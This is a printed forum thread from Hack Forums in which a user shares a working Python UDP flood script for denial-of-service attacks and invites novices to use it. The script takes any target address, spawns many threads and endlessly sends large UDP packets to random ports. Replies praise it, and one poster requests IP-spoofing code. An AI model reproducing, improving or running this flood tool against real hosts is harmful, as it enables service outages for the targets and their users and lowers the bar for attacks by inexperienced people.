Hack Forums
[Python] Denial Of Service Script - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [Python] Denial Of Service Script (/showthread.php?tid=5436825)



Denial Of Service Script - systx - Oct 17, 2016

Holla, so when I was a complete script kiddie and I was trying to make a dos script I was never able to find anything but complete crap, so for all you youngsters like I used to be here's some code to get yeah started :D
P.S. I would teach you how to use Raw sockets to spoof you Ip address but people won't reply to me and I can't find any documentation :/
I know about Scapy so for you all who say "Just use Scapy!", fuck yourself 😑

Code
import threading
import time
import socket
import random

Host = input("Address:")
Threads = int(input("Threads:"))
print("\nUsing Randomized Ports")

def Dos():
        sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
        Data = (r"Anything you want here, Longer the text the better but you can only send so much without fragmenting" * 800)
        while True:
                Port = random.randrange(65535)
                sock.sendto(bytes(Data, "utf-8"), (Host, Port))


def main():
    thread1 = threading.Thread( target=Dos )
    thread1.start()
    

for anything in range(0, Threads):
        main()

You'll have to experiment with how many threads you computer
can handle.
Also feel free to call me a dumb-ass and not improve the code but hate on it! 👍


* - supadopecat - Oct 20, 2016

Thanks for sharing. In fact I am learning how the Dos works by reading the code.

So you are making threads that send packets to random ports. Correct?
Causing the traffic that overwhelm the server?


* - Implorjin - Oct 22, 2016

Lol. Spoofing your IP is actually easy...


* - SilenceHacker - Oct 22, 2016

Thanks for the share, I can learn from this I'm sure.


* - kille142 - Oct 22, 2016

Thanks, learned a lots from this.


* - systx - Oct 23, 2016

(Oct 20, 2016 09:25 PM)supadopecat Wrote:  Thanks for sharing. In fact I am learning how the Dos works by reading the code.

So you are making threads that send packets to random ports. Correct?
Causing the traffic that overwhelm the server?

Yep exactly, also the packets that are being sent are udp packets.

(Oct 22, 2016 04:25 PM)Implorjin Wrote:  Lol. Spoofing your IP is actually easy...

I'd love to see your code, please share!


* - Volmorphio - Oct 26, 2016

Thanks for this post, i'm currently learning python and reading this is helping understand more parts of it :)